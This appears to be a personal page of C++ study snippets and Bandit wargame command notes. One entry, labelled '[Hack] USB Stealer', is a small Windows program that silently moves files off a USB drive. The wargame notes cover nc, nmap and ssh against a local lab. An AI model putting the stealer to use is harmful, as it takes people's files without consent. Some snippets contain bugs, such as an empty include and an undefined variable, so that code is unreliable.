[C++] getline(istream,string)

#include<iostream>
#include<cstdlib>
#include<string>
#include<cstring>
using namespace std;

int main()
{
 string s;
 char a[100];
 
 //std::istream::getline(char*,int) for char*
 cin.getline(a,100);
 cout<<a<<endl;
 
 //std::getline(istream&,string) for string
 getline(cin,s);
 cout<<s;
 return 0;
}

[C++] Binary File Input/Output

person.h

#include<cstring>
class person
{
    private:
    char name[8];
    int phone_num;
    public:
        person(char s[]="abc",int n=0){
            strcpy(name,s);
            phone_num=n;
        }
        char *getName(){
            return name;
        }
        int getPhone()
        {
            return phone_num;
        }
};

BinaryFileOutput.cpp

#include<iostream>
#include<fstream>
#include"person.h"
using namespace std;

int main()
{
    ofstream output("test.txt",ios::binary);
    person group[3]={person("Marry",100),person("Tom",101),person("Jack",102)};
    output.write((char*)group,sizeof(group));
    return 0;
}

BinaryFileInput.cpp

#include<iostream>
#include<fstream>
#include"person.h"
using namespace std;

int main()
{
    ifstream input("test.txt",ios::binary);
    person *temp_person=new person[3];
    input.read((char*)temp_person,sizeof(person)*3);
    for(int i=0;i<3;i++)
    {
        cout<<temp_person[i].getName()<<" "<<temp_person[i].getPhone()<<endl;
    } 
    return 0;
}

[C++] Class Template Inheritance

#include<iostream>
#include<cstdlib>
using namespace std;
template<class T>
class foo
{
    public:
    T a,b;
};
template<class T>
class bar:public foo<T>
{
    public:
    void show()
    {
        cout<<"Son";
    }
};
int main()
{
    bar<int> k;
    k.show();
    return 0;
}

[C++] stolower()

#include <algorithm>
#include <string>
using namespace std; string data = "Abc"; 
transform(data.begin(), data.end(), data.begin(), ::tolower);

OR

#include
#include

using namespace std;
string &stolower(string &s)
{
    for(int i=0;i<s.length();i++)
    {
        s[i]=tolower(s[i]);
    }
    return s;
}
int main()
{
    string s="ABC";
    cout<<stolower(s);
    return 0;
}

[C++] Process Input as char

#include<iostream>
#include<string>

using namespace std;

int main()
{
    char a;
    while(cin.get(a)&&a!='\n')
    { 
        cout<<a;
    } 
    return 0;
}

[Hack] USB Stealer GetData.cpp

#include<iostream>
#include<fstream>
#include<cstring>
#include<windows.h>
#define MAX_STRING 200
using namespace std;

int main(int argc,char *argv[])
{
 ifstream input;
 char tempname[MAX_STRING];
 char cur_pos[MAX_STRING],target_disk; 
 GetModuleFileName(NULL,cur_pos,MAX_PATH);
 target_disk=cur_pos[0]+1;
 for(int i=1;i<argc;i++)
 {
 input.open(argv[i]);
 while(!input.is_open())
 {
 input.open(argv[i]);
 }
 input.close();
 strcpy(tempname,argv[i]);
 tempname[0]=target_disk;
 rename(argv[i],tempname);
 }
 return 0;
}

[C++] Convert between string and int

#include<iostream>
#include<string>
#include<sstream>
using namespace std;

int main()
{ 
 stringstream ss;
 string s="456";
 int x;
 
 //string to int(or double etc...)
 ss<<s;
 ss>>x;
 cout<<x;

 //string to int using stoi 
 x = stoi(s);
 //clean up stringstream
 
 ss.str("");
 ss.clear();
 
 //int(or double etc...) to string
 x=100;
 s=to_string(x);
 cout<<s;
 
 return 0;
}

[C++] String Processing

#include<iostream>
#include<string>
#include<algorithm>
using namespace std;

int main()
{ 
 string s="ab@c";
 
 //reverse and begin() end()
 reverse(s.begin(),s.end());
 cout<<s<<endl;

 //
 cout<<s.length()<<endl;
 cout<<s.empty()<<endl;
 
 //s.swap(b) swap content with string b
 cout<<(int)s.find('@')<<endl;
 cout<<(int)s.find('9')<<endl;
 
 //substr 
 cout<<s.substr(1,2)<<endl;
 cout<<s.substr(0)<<endl;
 
 //erase(delete nth element)
 cout<<s.erase(s.begin()+n);
 return 0;
}

[Wargames] Bandit Notes

Special File Name:

cat ./-
# -- stops parsing params
rm -- -filename
  • space in between
cat space\ in\ between

File Properties:

  • find
find / -name file* -size 1033c -redable -user hublee -group mygroup ! -perm /111 2>/dev/null
  • file
file somefile

File Content:

  • sort | uniq
cat somefile | sort | uniq -u
  • strings
strings somefile | grep '^===*'
  • base64
base64 -d somefile
  • md5sum
echo I am user $myname | md5sum | cut -d ' ' -f 1
  • tr
cat data.txt | tr [a-zA-Z] [n-za-mN-ZA-M]
  • diff
diff password.new password.old

Compress/Decompress:

gzip -d for *.gz
bzip2 -d
tar -xvf

Network:

  • ssh
ssh -i privatekey.file user@host cat readme.txt

Note:RSA-key file is of the form:

—–BEGIN RSA PRIVATE KEY—–
xxx
—–END RSA PRIVATE KEY—–

  • nc
    #connect to IP PORT
nc -v 127.0.0.1 30000

#create a listening port

nc -l 9000
  • openssl
openssl s_client -ign_eof -connect localhost:30001
  • nmap
nmap -p 31000-32000 localhost